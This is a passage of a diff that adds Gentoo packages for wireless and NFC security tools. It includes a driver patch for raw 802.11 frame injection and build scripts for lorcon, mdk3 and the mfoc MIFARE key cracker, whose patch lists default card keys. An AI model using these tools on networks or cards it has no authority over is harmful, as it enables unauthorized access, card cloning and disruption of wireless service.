++ // Fw only accepts data, so avoid accidental fw errors.
++ if ( (buf[0]&0x0c) != '\x08') {
++ //printk("ipw2200: inject: discarding non-data frame (type=%02X)\n",(int)(unsigned char)buf[0]);
++ return count;
++ }
++
++ if (count>1500) {
++ count=1500;
++ printk("ipw2200: inject: cutting down frame to 1500 bytes\n");
++ }
++
++ spin_lock_irqsave(&priv->lock, flags);
++
++ // Create a txb with one skb
++ txb = kmalloc(sizeof(struct ieee80211_txb) + sizeof(u8 *), GFP_ATOMIC);
++ if (!txb)
++ goto nosepuede;
++ txb->nr_frags=1;
++ txb->frag_size = ieee->tx_headroom;
++ txb->fragments[0]=__dev_alloc_skb(count + ieee->tx_headroom, GFP_ATOMIC);
++ if (!txb->fragments[0]) {
++ kfree(txb);
++ goto nosepuede;
++ }
++ skb_reserve(txb->fragments[0], ieee->tx_headroom);
++ txb->encrypted=0;
++ txb->payload_size=count;
++ skb_frag = txb->fragments[0];
++ newbuf=skb_put(skb_frag, count);
++
++ // copy data into txb->skb and send it
++ memcpy(newbuf, buf, count);
++
++ ipw_tx_skb(priv, txb, 0);
++
++nosepuede:
++ spin_unlock_irqrestore(&priv->lock, flags);
++ return count;
++}
++
++static DEVICE_ATTR(inject, S_IWUSR, NULL, store_inject);
++
+ static void notify_wx_assoc_event(struct ipw_priv *priv)
+ {
+ union iwreq_data wrqu;
+@@ -11478,6 +11538,7 @@
+ #ifdef CONFIG_IPW2200_PROMISCUOUS
+ &dev_attr_rtap_iface.attr,
+ &dev_attr_rtap_filter.attr,
++ &dev_attr_inject.attr,
+ #endif
+ NULL
+ };
+diff -ur ipw2200-1.1.4/Makefile ipw2200-1.1.4-inject/Makefile
+--- ipw2200-1.1.4/Makefile 2006-08-21 04:38:29.000000000 +0200
++++ ipw2200-1.1.4-inject/Makefile 2006-08-23 14:22:06.000000000 +0200
+@@ -30,14 +30,14 @@
+ # simply uncomment:
+ #
+ # NOTE: To use RADIOTAP you must also enable MONITOR above.
+-#CONFIG_IPW2200_RADIOTAP=y
++CONFIG_IPW2200_RADIOTAP=y
+
+ # The above monitor mode provides standard monitor mode. The following
+ # will create a new interface (named rtap%d) which will be sent all
+ # 802.11 frames received on the interface
+ #
+ # NOTE: To use PROMISCUOUS you must also enable MONITOR above.
+-#CONFIG_IPW2200_PROMISCUOUS=y
++CONFIG_IPW2200_PROMISCUOUS=y
+
+ endif
+
diff --git a/net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch b/net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch
new file mode 100644
index 00000000..12d70206
--- /dev/null
+++ b/net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch
@@ -0,0 +1,20 @@
+Index: ipw2200-1.2.0/Makefile
+===================================================================
+--- ipw2200-1.2.0.orig/Makefile
++++ ipw2200-1.2.0/Makefile
+@@ -153,14 +153,8 @@ clean:
+ distclean: clean
+ rm -f tags TAGS
+
+-TMP=$(PWD)/tmp
+-MODVERDIR=$(TMP)/.tmp_versions
+-
+ modules:
+- mkdir -p $(MODVERDIR)
+- -cp $(IEEE80211_MODVERDIR)/*.mod $(MODVERDIR)
+- -cp $(IEEE80211_MODVERDIR)/../Modules.symvers $(PWD)
+- $(MAKE) -C $(KSRC) M=$(PWD) MODVERDIR=$(MODVERDIR) modules
++ $(MAKE) -C $(KSRC) M=$(PWD) modules
+
+
+ patch_kernel:
diff --git a/net-wireless/ipw2200/ipw2200-1.2.0.ebuild b/net-wireless/ipw2200/ipw2200-1.2.0.ebuild
new file mode 100644
index 00000000..697fdf34
--- /dev/null
+++ b/net-wireless/ipw2200/ipw2200-1.2.0.ebuild
@@ -0,0 +1,87 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit eutils linux-mod
+
+# The following works with both pre-releases and releases
+MY_P=${P/_/-}
+S=${WORKDIR}/${MY_P}
+
+IEEE80211_VERSION="1.2.15"
+FW_VERSION="3.0"
+
+DESCRIPTION="Driver for the Intel 2200BG/2915ABG miniPCI/PCI adapters patched with modified inject patches"
+HOMEPAGE="http://ipw2200.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+IUSE="debug inject"
+DEPEND=">=net-wireless/ieee80211-${IEEE80211_VERSION}
+ sys-apps/sed"
+RDEPEND=">=net-wireless/ieee80211-${IEEE80211_VERSION}
+ >=net-wireless/ipw2200-firmware-${FW_VERSION}
+ net-wireless/wireless-tools"
+
+BUILD_TARGETS="all"
+MODULE_NAMES="ipw2200(net/wireless:)"
+MODULESD_IPW2200_DOCS="README.ipw2200"
+
+CONFIG_CHECK="NET_RADIO FW_LOADER !IPW2200"
+ERROR_NET_RADIO="${P} requires support for Wireless LAN drivers (non-hamradio) & Wireless Extensions (CONFIG_NET_RADIO)."
+ERROR_FW_LOADER="${P} requires Hotplug firmware loading support (CONFIG_FW_LOADER)."
+ERROR_IPW2200="${P} requires the in-kernel version of the IPW2200 driver to be disabled (CONFIG_IPW2200)"
+
+pkg_setup() {
+ linux-mod_pkg_setup
+
+ if kernel_is 2 4; then
+ die "${P} does not support building against kernel 2.4.x"
+ fi
+
+ if [[ ! -f ${ROOT}/lib/modules/${KV_FULL}/net/ieee80211/ieee80211.${KV_OBJ} ]]; then
+ eerror
+ eerror "Looks like you forgot to remerge net-wireless/ieee80211 after"
+ eerror "upgrading your kernel."
+ eerror
+ eerror "Hint: use sys-kernel/module-rebuild for keeping track of which"
+ eerror "modules needs to be remerged after a kernel upgrade."
+ eerror
+ die "${ROOT}/lib/modules/${KV_FULL}/net/ieee80211/ieee80211.${KV_OBJ} not found"
+ fi
+
+ BUILD_PARAMS="KSRC=${KV_DIR} KSRC_OUTPUT=${KV_OUT_DIR} IEEE80211_INC=/usr/include"
+}
+
+src_unpack() {
+ local debug="n" radiotap="n"
+
+ unpack ${A}
+
+ cd "${S}"
+ epatch "${FILESDIR}/${P}-modverdir.patch"
+ if use inject; then
+ epatch "${FILESDIR}/${P}-inject.patch"
+ fi
+
+ use debug && debug="y"
+ sed -i -e "s:^\(CONFIG_IPW2200_DEBUG\)=.*:\1=${debug}:" "${S}"/Makefile
+}
+
+src_compile() {
+ linux-mod_src_compile
+
+ einfo
+ einfo "You may safely ignore any warnings from above compilation about"
+ einfo "undefined references to the ieee80211 subsystem."
+ einfo
+}
+
+src_install() {
+ linux-mod_src_install
+
+ dodoc CHANGES ISSUES
+}
diff --git a/net-wireless/kismet-dect/Manifest b/net-wireless/kismet-dect/Manifest
new file mode 100644
index 00000000..097c73ee
--- /dev/null
+++ b/net-wireless/kismet-dect/Manifest
@@ -0,0 +1 @@
+EBUILD kismet-dect-9999.ebuild 1023 RMD160 08284b20b2229acd0d4670810b480b2ef76f3fb0 SHA1 a3054263647c97de3e74ed4f4f60cef6c6cc9e4b SHA256 b17d575ccd3a6dcaac2953d0695f0c06035ce0894ef3c05d6f0a32840cd5e833
diff --git a/net-wireless/kismet-dect/kismet-dect-9999.ebuild b/net-wireless/kismet-dect/kismet-dect-9999.ebuild
new file mode 100644
index 00000000..865ba18d
--- /dev/null
+++ b/net-wireless/kismet-dect/kismet-dect-9999.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit subversion
+
+DESCRIPTION="DECT plugin for kismet"
+HOMEPAGE="https://dedected.org/"
+SRC_URI=""
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND=">=net-wireless/kismet-2009.11.1-r1
+ net-wireless/dedected"
+
+ESVN_REPO_URI="https://dedected.org/svn/trunk/kismet-dect"
+
+src_prepare() {
+ # build with custom CFLAGS
+ sed -i -e "s/-g/${CFLAGS}/g" server_module/Makefile
+ sed -i -e "s/-fPIC/${CFLAGS} -fPIC/g" client_module/Makefile
+}
+
+src_compile() {
+ make KIS_SRC_DIR="/usr/include/kismet/" -C client_module || die "failed to compile client module"
+ make KIS_SRC_DIR="/usr/include/kismet/" -C server_module || die "failed to compile server module"
+}
+
+src_install() {
+ make KIS_DEST_DIR="${D}/usr/" -C client_module install || die "failed to install client module"
+ make KIS_DEST_DIR="${D}/usr/" -C server_module install || die "failed to install server module"
+}
diff --git a/net-wireless/libfreefare/Manifest b/net-wireless/libfreefare/Manifest
new file mode 100644
index 00000000..1f4151c1
--- /dev/null
+++ b/net-wireless/libfreefare/Manifest
@@ -0,0 +1,2 @@
+DIST libfreefare-0.3.2.tar.gz 442844 RMD160 1a46647d4edd87be7ca19e53a48bd74077b8c211 SHA1 72131695e60399bdd6bd15900aca3231315ca13b SHA256 aaa3017cba50fa857a12468a9d58b705db18527ad8ffc7f6a06590e147f614d6
+EBUILD libfreefare-0.3.2.ebuild 458 RMD160 5eee2fc0ddd8b383a31d0dc6027f640c5618395e SHA1 4559d9b695fdfd2d7852c2dbde7cce6f2d566bea SHA256 4f804b4c57a722ed2cd73f578858e2544adf99b711315ea7398482b7667c1936
diff --git a/net-wireless/libfreefare/libfreefare-0.3.2.ebuild b/net-wireless/libfreefare/libfreefare-0.3.2.ebuild
new file mode 100644
index 00000000..e38f5db2
--- /dev/null
+++ b/net-wireless/libfreefare/libfreefare-0.3.2.ebuild
@@ -0,0 +1,21 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+DESCRIPTION="a library for high level manipulation of MIFARE tags"
+HOMEPAGE="https://code.google.com/p/nfc-tools/"
+SRC_URI="https://nfc-tools.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+DEPEND="dev-lib/libnfc"
+RDEPEND="${DEPEND}"
+
+src_install() {
+ DESTDIR="${D}" emake install || die
+}
diff --git a/net-wireless/lorcon-old/Manifest b/net-wireless/lorcon-old/Manifest
new file mode 100644
index 00000000..ed53f9c5
--- /dev/null
+++ b/net-wireless/lorcon-old/Manifest
@@ -0,0 +1 @@
+EBUILD lorcon-old-9999.ebuild 640 RMD160 5e77ecbe4a9b3e5dfbbc83e61d657385829cb3fc SHA1 04d6155143ad90ce059a7f292e1cbe5e0a7914f8 SHA256 21263b645c14b57b5b9550938e3d24e198ea1d9b309df361a11c6aba7e19ac30
diff --git a/net-wireless/lorcon-old/lorcon-old-9999.ebuild b/net-wireless/lorcon-old/lorcon-old-9999.ebuild
new file mode 100644
index 00000000..e78aea91
--- /dev/null
+++ b/net-wireless/lorcon-old/lorcon-old-9999.ebuild
@@ -0,0 +1,25 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit toolchain-funcs eutils subversion
+
+DESCRIPTION="A generic library for injecting 802.11 frames"
+HOMEPAGE="http://802.11ninja.net/lorcon"
+SRC_URI=""
+ESVN_REPO_URI="http://802.11ninja.net/svn/lorcon/branch/lorcon-old"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="$RDEPEND"
+RDEPEND="dev-libs/libnl
+ net-libs/libpcap"
+
+src_install() {
+ DESTDIR="${D}" emake install
+ # rename manpage to avoid conflict with lorcon
+ mv "${D}"/usr/share/man/man3/lorcon.3 "${D}"/usr/share/man/man3/lorcon-old.3
+}
diff --git a/net-wireless/lorcon/Manifest b/net-wireless/lorcon/Manifest
new file mode 100644
index 00000000..54df9fb1
--- /dev/null
+++ b/net-wireless/lorcon/Manifest
@@ -0,0 +1 @@
+EBUILD lorcon-9999.ebuild 2010 SHA256 1824bd6e24b3cce2be41fd74f7bcbe2f502d8867926686ceab135f0319a96772 SHA512 6d7cb9a0eb91d5e7c09ba45a536b5131c37c2d635d8c7be470a755166ff8215672aaf4000bd3967855679dcb2e1e35999405f2fc452c4db29e177d140dce4d06 WHIRLPOOL 28f62b1b61725282168334339109b0ad330f8c8e6f6571b691eab9eb88be4b960e59e00a9cb8e2a3b194da9247fd881ea01817f3a4689c0a3fbf6adf546234d4
diff --git a/net-wireless/lorcon/lorcon-9999.ebuild b/net-wireless/lorcon/lorcon-9999.ebuild
new file mode 100644
index 00000000..49a5eb9f
--- /dev/null
+++ b/net-wireless/lorcon/lorcon-9999.ebuild
@@ -0,0 +1,95 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+PYTHON_DEPEND="python? 2"
+SUPPORT_PYTHON_ABIS="1"
+RESTRICT_PYTHON_ABIS="3.*"
+
+USE_RUBY="ruby18 ruby19"
+RUBY_OPTIONAL=yes
+
+inherit git-2 distutils ruby-ng
+
+DESCRIPTION="A generic library for injecting 802.11 frames"
+HOMEPAGE="http://802.11ninja.net/lorcon"
+EGIT_REPO_URI="https://code.google.com/p/lorcon/"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="python ruby"
+
+DEPEND="ruby? ( $(ruby_implementations_depend) )"
+RDEPEND="${DEPEND}
+ dev-libs/libnl"
+
+S="${WORKDIR}"/all
+
+pkg_setup() {
+ if use python; then
+ python_pkg_setup;
+ DISTUTILS_SETUP_FILES=("${S}/pylorcon2|setup.py")
+ fi
+ use ruby && ruby-ng_pkg_setup
+}
+
+src_unpack() {
+ git-2_src_unpack
+ use ruby && ruby-ng_src_unpack
+}
+
+src_prepare() {
+ use python && distutils_src_prepare
+ sed -i 's#<lorcon2/lorcon.h>#"../lorcon.h"#' pylorcon2/PyLorcon2.c
+ sed -i 's#find_library("orcon2", "lorcon_list_drivers", "lorcon2/lorcon.h") and ##' ruby-lorcon/extconf.rb
+ sed -i "s#-I/usr/include/lorcon2#-I${WORKDIR}/all#" ruby-lorcon/extconf.rb
+ sed -i 's#<lorcon2/lorcon.h>#"../lorcon.h"#' ruby-lorcon/Lorcon2.h
+ use ruby && ruby-ng_src_prepare
+}
+
+src_configure() {
+ default_src_configure
+ use ruby && ruby-ng_src_configure
+}
+
+src_compile() {
+ default_src_compile
+ if use python; then
+ LDFLAGS+=" -L${S}/.libs/"
+ distutils_src_compile
+ fi
+ use ruby && ruby-ng_src_compile
+}
+
+src_install() {
+ emake DESTDIR="${ED}" install
+ use python && distutils_src_install
+ use ruby && ruby-ng_src_install
+}
+
+src_test() {
+ :
+}
+
+pkg_postinst() {
+ use python && distutils_pkg_postinst
+}
+pkg_postrm() {
+ use python && distutils_pkg_postrm
+}
+
+each_ruby_configure() {
+ ${RUBY} -C "ruby-lorcon" extconf.rb
+ sed -i "s#-L\.#-L. -L${WORKDIR}/all/.libs -lorcon2 #g" ruby-lorcon/Makefile
+}
+
+each_ruby_compile() {
+ emake -C ruby-lorcon
+}
+
+each_ruby_install() {
+ DESTDIR="${ED}" emake -C ruby-lorcon install
+}
diff --git a/net-wireless/mdk/Manifest b/net-wireless/mdk/Manifest
new file mode 100644
index 00000000..f8495f39
--- /dev/null
+++ b/net-wireless/mdk/Manifest
@@ -0,0 +1,3 @@
+AUX fix_wids_mdk3_v5.patch 520 RMD160 cd1e9020b06782fa0c98adf274c7b99ed3cbff5c SHA1 3564b5a6e73bff3e705a461890d61a87dfdbc002 SHA256 c0168ab3b50b18c973c954a831bfd6d8373c3f70570247a15d52da6914fe490d
+DIST mdk3-v6.tar.bz2 213279 RMD160 22857e15a86fee1a0419916fcd12d14aeb14ebb1 SHA1 2832d176c02d9c3eb3bcb3b35acfdc94793161dd SHA256 4dac4d0ad54c4dbbf8857f527c573af6495a91d2e503774274b39c3ca8ed11dd
+EBUILD mdk-3.6.ebuild 742 RMD160 5a76e89de581d5f9ad364d31b593644d54cf1b32 SHA1 2b3e1fe413cea2b5bfb5c0fc154a44864458b7ad SHA256 e6e900b2f1db64f024befc8411907a317e831448abb42fbd39b29b6a27eea91d
diff --git a/net-wireless/mdk/files/fix_wids_mdk3_v5.patch b/net-wireless/mdk/files/fix_wids_mdk3_v5.patch
new file mode 100644
index 00000000..6013a59b
--- /dev/null
+++ b/net-wireless/mdk/files/fix_wids_mdk3_v5.patch
@@ -0,0 +1,21 @@
+diff -ur mdk3-v5-orig/mdk3.c mdk3-v5/mdk3.c
+--- mdk3-v5-orig/mdk3.c 2008-11-10 21:45:02.000000000 +0100
++++ mdk3-v5/mdk3.c 2009-01-10 01:47:03.546875000 +0100
+@@ -1092,10 +1092,13 @@
+ {
+ struct clistwidsclient *first = c;
+
+- do {
+- if (!(memcmp(c->mac, mac, mac_len))) return c;
+- c = c->next;
+- } while (c != first);
++ if (c != NULL)
++ {
++ do {
++ if (c->mac != NULL && !(memcmp(c->mac, mac, mac_len))) return c;
++ c = c->next;
++ } while (c != NULL && c != first);
++ }
+
+ return NULL;
+ }
diff --git a/net-wireless/mdk/mdk-3.6.ebuild b/net-wireless/mdk/mdk-3.6.ebuild
new file mode 100644
index 00000000..7b578cfe
--- /dev/null
+++ b/net-wireless/mdk/mdk-3.6.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils
+
+MY_P=${PN}${PV/./-v}
+
+DESCRIPTION="Bruteforce hidden SSID"
+HOMEPAGE="http://homepages.tu-darmstadt.de/~p_larbig/wlan/"
+SRC_URI="http://homepages.tu-darmstadt.de/~p_larbig/wlan/${MY_P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND=""
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+ epatch "${FILESDIR}"/fix_wids_mdk3_v5.patch
+ sed -ie "s|CFLAGS.*=.*|CFLAGS = $CFLAGS|" Makefile || die
+}
+
+src_compile() {
+ make -j1 || die "make failed"
+}
+
+src_install() {
+ dosbin mdk3 || die "dobin failed"
+ dodoc AUTHORS CHANGELOG TODO docs/* useful_files/* || die "dodoc failed"
+}
diff --git a/net-wireless/mfoc/Manifest b/net-wireless/mfoc/Manifest
new file mode 100644
index 00000000..8b38b00f
--- /dev/null
+++ b/net-wireless/mfoc/Manifest
@@ -0,0 +1,3 @@
+AUX mfoc-libnfc-1.5.1.patch 8908 RMD160 8d94b6c35fc786263afa6edff01adec42a7a094e SHA1 a85959cfe99fc5c82ec0f3ec2b4d091f444cb430 SHA256 dd6334ffa5939f11260d6bc7f5b4960162260348812ff4cc65478e51302be436
+DIST mfoc-0.10.2.tar.gz 112864 RMD160 a74ccdc22f4ead364872bac0beee0564c53f2be2 SHA1 cce1662300eeab303d375f746dd52e515e2f0e99 SHA256 fc38b990bf37b6416949d0a7c6481bdd8a67698cbb4dcae00c0576fd10845cb0
+EBUILD mfoc-0.10.2.ebuild 550 RMD160 8261f1420540deb08b1fa471bd785cda0d8d4dd8 SHA1 2a4d69343b95a759d5b683a43c48029088204e67 SHA256 81af43a5574b1c0cceba3d2b7dc8cf7af59ffb396c1f51d8723c12b56bf22fe9
diff --git a/net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch b/net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch
new file mode 100644
index 00000000..c19a554a
--- /dev/null
+++ b/net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch
@@ -0,0 +1,217 @@
+diff -Nru mfoc-0.10.2/src//mfoc.c mfoc/src//mfoc.c
+--- mfoc-0.10.2/src//mfoc.c 2011-05-18 11:18:29.000000000 +0200
++++ mfoc/src//mfoc.c 2012-02-11 02:02:27.028185737 +0100
+@@ -70,11 +70,11 @@
+ bool skip = false;
+
+ // Next default key specified as option (-k)
+- byte_t * defKey = NULL;
++ byte_t * defKeys = NULL, *p;
++ size_t defKeys_len = 0;
+
+ // Array with default Mifare Classic keys
+ byte_t defaultKeys[][6] = {
+- {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // User defined key slot
+ {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key)
+ {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key
+ {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key
+@@ -128,16 +128,17 @@
+ // fprintf(stdout, "Tolerance number: %d\n", probes);
+ break;
+ case 'k':
+- // Add this key to the default keys list
+- if ((defKey = calloc(6, sizeof(byte_t))) == NULL) {
+- ERR ("Cannot allocate memory for defKey");
++ // Add this key to the default keys
++ p = realloc(defKeys, defKeys_len + 6);
++ if (!p) {
++ ERR ("Cannot allocate memory for defKeys");
+ exit (EXIT_FAILURE);
+- } else {
+- bzero(defKey, 6);
+- num_to_bytes(strtoll(optarg, NULL, 16), 6, defKey);
+- memcpy(defaultKeys[0], defKey, 6);
+ }
+- fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKey, 6));
++ defKeys = p;
++ memset(defKeys+defKeys_len, 0, 6);
++ num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys+defKeys_len);
++ fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys+defKeys_len, 6));
++ defKeys_len = defKeys_len + 6;
+
+ break;
+ case 'O':
+@@ -252,9 +253,16 @@
+ memcpy(mp.mpa.abtUid, t.nt.nti.nai.abtUid, sizeof(mp.mpa.abtUid));
+ // Iterate over all keys (n = number of keys)
+ n = sizeof(defaultKeys)/sizeof(defaultKeys[0]);
+- for (key = 0; key < n; key++) {
+- if (key == 0 && defKey == NULL) ++key; // Custom key not provided, try another key
+- memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey));
++ size_t defKey_bytes_todo = defKeys_len;
++ key = 0;
++ while (key < n) {
++ if (defKey_bytes_todo > 0) {
++ memcpy(mp.mpa.abtKey, defKeys + defKeys_len - defKey_bytes_todo, sizeof(mp.mpa.abtKey));
++ defKey_bytes_todo -= sizeof(mp.mpa.abtKey);
++ } else {
++ memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey));
++ key++;
++ }
+ fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6));
+ fprintf(stdout, "[");
+ i = 0; // Sector counter
+@@ -511,22 +519,24 @@
+ }
+
+ void usage(FILE * stream, int errno) {
+- fprintf(stream, "mfoc %s\n\n", PACKAGE_VERSION);
+- fprintf(stream, "usage: mfoc [-h] [-P probnum] [-T tolerance] [-k custom_key] [-O output]\n\n");
+- fprintf(stream, "example: mfoc -O card_dump\n");
+- fprintf(stream, "example: mfoc -k ffffeeeedddd -O card_dump\n");
+- fprintf(stream, "example: mfoc -P 50 -O card_dump\n");
+- fprintf(stream, "\n");
+- fprintf(stream, " h : print this help\n");
+-// fprintf(stream, " B : instead of 'A' dump 'B' keys\n");
+- fprintf(stream, " k : use a specified key instead of looking for defaults ones\n");
+-// fprintf(stream, " D : number of distance probes, default is 20\n");
+-// fprintf(stream, " S : number of sets with keystreams, default is 5\n");
+- fprintf(stream, " P : number of probes for a key recovery for one sector, default is 20\n");
+- fprintf(stream, " T : range for a possible distance tolerance, default is 20 (40 in both direction)\n");
+-// fprintf(stream, " s : specify the list of sectors to crack, for example -s 0,1,3,5\n");
+- fprintf(stream, " O : dump file where the revealed keys should be stored\n");
++ fprintf(stream, "Usage: mfoc [-h] [-k key]... [-P probnum] [-T tolerance] [-O output]\n");
++ fprintf(stream, "\n");
++ fprintf(stream, " h print this help and exit\n");
++// fprintf(stream, " B instead of 'A' dump 'B' keys\n");
++ fprintf(stream, " k try the specified key in addition to the default keys\n");
++// fprintf(stream, " D number of distance probes, default is 20\n");
++// fprintf(stream, " S number of sets with keystreams, default is 5\n");
++ fprintf(stream, " P number of probes per sector, instead of default of 20\n");
++ fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n");
++// fprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n");
++ fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n");
++ fprintf(stream, "\n");
++ fprintf(stream, "Example: mfoc -O mycard.mfd\n");
++ fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n");
++ fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n");
+ fprintf(stream, "\n");
++ fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION);
++ fprintf(stream, "For more information, run: 'man mfoc'.\n");
+ exit(errno);
+ }
+
+@@ -534,7 +544,7 @@
+ // Connect to the first NFC device
+ r->pdi = nfc_connect(NULL);
+ if (!r->pdi) {
+- ERR ("Unable to connect to NFC device\n");
++ printf ("No NFC device found.\n");
+ exit (EXIT_FAILURE);
+ }
+ }
+@@ -671,7 +681,7 @@
+ exit (EXIT_FAILURE);
+ }
+
+- if (!nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, &RxLen)) {
++ if (!nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, &RxLen, NULL)) {
+ fprintf(stdout, "Error while requesting plain tag-nonce\n");
+ exit(EXIT_FAILURE);
+ }
+diff -Nru mfoc-0.10.2/src//mifare.c mfoc/src//mifare.c
+--- mfoc-0.10.2/src//mifare.c 2011-04-04 12:38:30.000000000 +0200
++++ mfoc/src//mifare.c 2012-02-11 02:02:27.028185737 +0100
+@@ -100,7 +100,7 @@
+ return false;
+ }
+ // Fire the mifare command
+- if (!nfc_initiator_transceive_bytes (pnd, abtCmd, 2 + szParamLen, abtRx, &szRx)) {
++ if (!nfc_initiator_transceive_bytes (pnd, abtCmd, 2 + szParamLen, abtRx, &szRx, NULL)) {
+ if (pnd->iLastError == EINVRXFRAM) {
+ // "Invalid received frame" AKA EINVRXFRAM, usual means we are
+ // authenticated on a sector but the requested MIFARE cmd (read, write)
+diff -Nru mfoc-0.10.2/src//nfc-utils.c mfoc/src//nfc-utils.c
+--- mfoc-0.10.2/src//nfc-utils.c 2011-04-04 12:01:33.000000000 +0200
++++ mfoc/src//nfc-utils.c 2012-02-11 02:02:27.028185737 +0100
+@@ -608,6 +608,51 @@
+ }
+
+ void
++print_nfc_iso14443bi_info (const nfc_iso14443bi_info_t nii, bool verbose)
++{
++ printf (" DIV: ");
++ print_hex (nii.abtDIV, 4);
++ if (verbose) {
++ int version = (nii.btVerLog & 0x1e)>>1;
++ printf (" Software Version: ");
++ if (version == 15) {
++ printf ("Undefined\n");
++ } else {
++ printf ("%i\n", version);
++ }
++
++ if ((nii.btVerLog & 0x80) && (nii.btConfig & 0x80)){
++ printf (" Wait Enable: yes");
++ }
++ }
++ if ((nii.btVerLog & 0x80) && (nii.btConfig & 0x40)) {
++ printf (" ATS: ");
++ print_hex (nii.abtAtr, nii.szAtrLen);
++ }
++}
++
++void
++print_nfc_iso14443b2sr_info (const nfc_iso14443b2sr_info_t nsi, bool verbose)
++{
++ (void) verbose;
++ printf (" UID: ");
++ print_hex (nsi.abtUID, 8);
++}
++
++void
++print_nfc_iso14443b2ct_info (const nfc_iso14443b2ct_info_t nci, bool verbose)
++{
++ (void) verbose;
++ uint32_t uid;
++ uid = (nci.abtUID[3] << 24) + (nci.abtUID[2] << 16) + (nci.abtUID[1] << 8) + nci.abtUID[0];
++ printf (" UID: ");
++ print_hex (nci.abtUID, sizeof(nci.abtUID));
++ printf (" UID (decimal): %010u\n", uid);
++ printf (" Product Code: %02X\n", nci.btProdCode);
++ printf (" Fab Code: %02X\n", nci.btFabCode);
++}
++
++void
+ print_nfc_dep_info (const nfc_dep_info_t ndi, bool verbose)
+ {
+ (void) verbose;
+@@ -651,8 +696,7 @@
+ strcpy (pndd->pcDriver, strtok (buffer, ":"));
+
+ // Port.
+- pndd->pcPort = (char *) malloc (256);
+- strcpy (pndd->pcPort, strtok (NULL, ":"));
++ strcpy (pndd->acPort, strtok (NULL, ":"));
+
+ // Speed.
+ sscanf (strtok (NULL, ":"), "%u", &pndd->uiSpeed);
+@@ -712,6 +756,18 @@
+ printf ("ISO/IEC 14443-4B (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
+ print_nfc_iso14443b_info (nt.nti.nbi, verbose);
+ break;
++ case NMT_ISO14443BI:
++ printf ("ISO/IEC 14443-4B' (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
++ print_nfc_iso14443bi_info (nt.nti.nii, verbose);
++ break;
++ case NMT_ISO14443B2SR:
++ printf ("ISO/IEC 14443-2B ST SRx (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
++ print_nfc_iso14443b2sr_info (nt.nti.nsi, verbose);
++ break;
++ case NMT_ISO14443B2CT:
++ printf ("ISO/IEC 14443-2B ASK CTx (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
++ print_nfc_iso14443b2ct_info (nt.nti.nci, verbose);
++ break;
+ case NMT_DEP:
+ printf ("D.E.P. (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
+ print_nfc_dep_info (nt.nti.ndi, verbose);
diff --git a/net-wireless/mfoc/mfoc-0.10.2.ebuild b/net-wireless/mfoc/mfoc-0.10.2.ebuild
new file mode 100644
index 00000000..e5cfe04e
--- /dev/null
+++ b/net-wireless/mfoc/mfoc-0.10.2.ebuild
@@ -0,0 +1,28 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit eutils autotools
+
+DESCRIPTION="Mifare Classic Offline Cracker"
